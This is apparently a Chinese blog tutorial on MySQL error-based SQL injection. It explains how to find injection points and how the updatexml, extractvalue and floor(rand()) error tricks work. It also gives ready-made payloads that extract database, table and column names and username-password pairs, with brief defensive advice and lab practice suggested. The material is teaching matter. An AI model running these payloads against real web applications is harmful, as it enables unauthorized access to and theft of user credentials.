SQL注入--报错注入

一、基础知识回顾

1. SQL注入是什么?

SQL注入(SQL Injection)是一种通过向Web应用的输入位置注入恶意SQL语句,从而干扰后台数据库查询结构、读取或控制数据库内容的攻击方式。

2. 常见SQL语句及注入特征

SQL语句作用是否易于注入是否有回显应用场景
SELECT查询数据登录、搜索、展示数据等
INSERT插入新数据注册、发帖
UPDATE更新已有数据修改信息、后台维护
DELETE删除数据删除评论、购物车清空等

注:无回显时必须使用报错注入或盲注技术!


二、SQL注入分析流程

1. 判断是否存在注入点

  • 尝试输入 '"-- 等特殊字符,观察报错或结构变化

  • 使用布尔值对比(如 1=1 与 1=2)测试返回变化

2. 确认注入点类型

  • 数字型参数?(如 id=1) → 可直接拼接数字语句

  • 字符型参数?(如 name='admin') → 需闭合引号 + 注释

3. 明确提交方式

  • GET:URL中参数明显 → 可直接构造

  • POST:隐藏参数 → 抓包工具查看(如 Burp Suite)

  • COOKIE/HTTP头:更隐蔽注入 → 用抓包修改或JS劫持


三、报错注入技术详解

1. 什么是报错注入?

报错注入是利用数据库错误信息中的回显内容来获取数据库信息。注入点没有直接显示查询结果,但通过构造触发SQL错误,让数据库“说出”它自己

2. 关键函数及用法

extractvalue()
  • 语法格式: extractvalue(xml_data, xpath_expr)

  • 常用Payload:

    extractvalue(1, concat(0x7e, database(), 0x7e))
  • 解释: 第二个参数构造不合法的XPath路径,触发数据库错误,将database()的内容在错误中展示出来。

updatexml()
  • 语法格式: updatexml(xml_data, xpath_expr, new_value)

  • 常用Payload:

    updatexml(1, concat(0x7e, user(), 0x7e), 1)
  • 与 extractvalue 区别: 参数多一个新值,一样会因 XPath 报错。

floor() + rand()
  • 组合爆错:

    (select count(*) from information_schema.tables 
    group by concat((select database()), floor(rand(0)*2)))
  • 原理: group by 强制重复分组 + rand() 导致重复 key,触发 MySQL 报错

对于函数解释更详细的文章在这条链接:

sql注入-报错注入的常见函数解释-CSDN博客


四、数据提取技巧

1. 使用 LIMIT 逐条读取

(select table_name from information_schema.tables 
where table_schema=database() limit 0,1)
  • 第1条记录:limit 0,1

  • 第2条记录:limit 1,1

2. 使用 substr() 逐字符爆破

substr((select user()), 1, 1) = 'r'
  • 从第1位开始取1位,用于布尔或报错注入,配合ASCII可判断每一位字符


五、实战Payload汇总

1. 报错回显数据库名

updatexml(1,concat(0x7e,(select database()),0x7e),1)

2. 回显当前数据库所有表名

updatexml(1,concat(0x7e,(select group_concat(table_name) 
from information_schema.tables where table_schema=database()),0x7e),1)

3. 回显字段名(以users表为例)

updatexml(1,concat(0x7e,(select group_concat(column_name) 
from information_schema.columns where table_name='users'),0x7e),1)

4. 回显用户密码数据(截断避免内容超长)

updatexml(1,concat(0x7e,
substr((select group_concat(username,0x3a,password) from users)
,1,30),0x7e),1)

六、OR 与 UNION 报错注入对比

UNION 联合注入:结构完整,数据直接回显

  • 示例:

1' union select 1, updatexml(1,concat(0x7e,user(),0x7e),1)#

OR 报错注入:强制成立条件并注入函数

  • 示例:

1' or updatexml(1,concat(0x7e,database(),0x7e),1)#

七、小技巧 & 实用建议

技巧说明
0x7e即波浪号 ~,用于报错信息中醒目标记
%23 / #SQL注释符,终止原始语句
group_concat聚合函数,常用于一次读取多个字段或表名
concat()拼接多个字段或字符串
floor(rand())强制重复触发报错

八、防御建议(务必掌握)

安全开发

  • 所有SQL语句应使用 预编译/参数化语句

  • 禁用错误信息回显(display_errors = Off

输入验证

  • 所有前端输入进行类型校验 + 特殊字符过滤

  • 对Cookie、Referer等隐蔽参数也要处理

权限控制

  • 数据库连接账号使用最小权限原则(不可用root)

  • 禁止Web端执行 information_schema 查询


九、总结与建议

  • 报错盲注是最强力的非回显注入手段之一,能快速泄露数据库信息

  • updatexml()extractvalue() 是核心武器

  • 一旦发现无回显注入点,应优先尝试报错注入而非盲注爆破


学习建议: 多练习,熟练掌握这些报错语句的结构、逻辑和组合方法,配合Pikachu/DVWA等靶场效果最佳。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值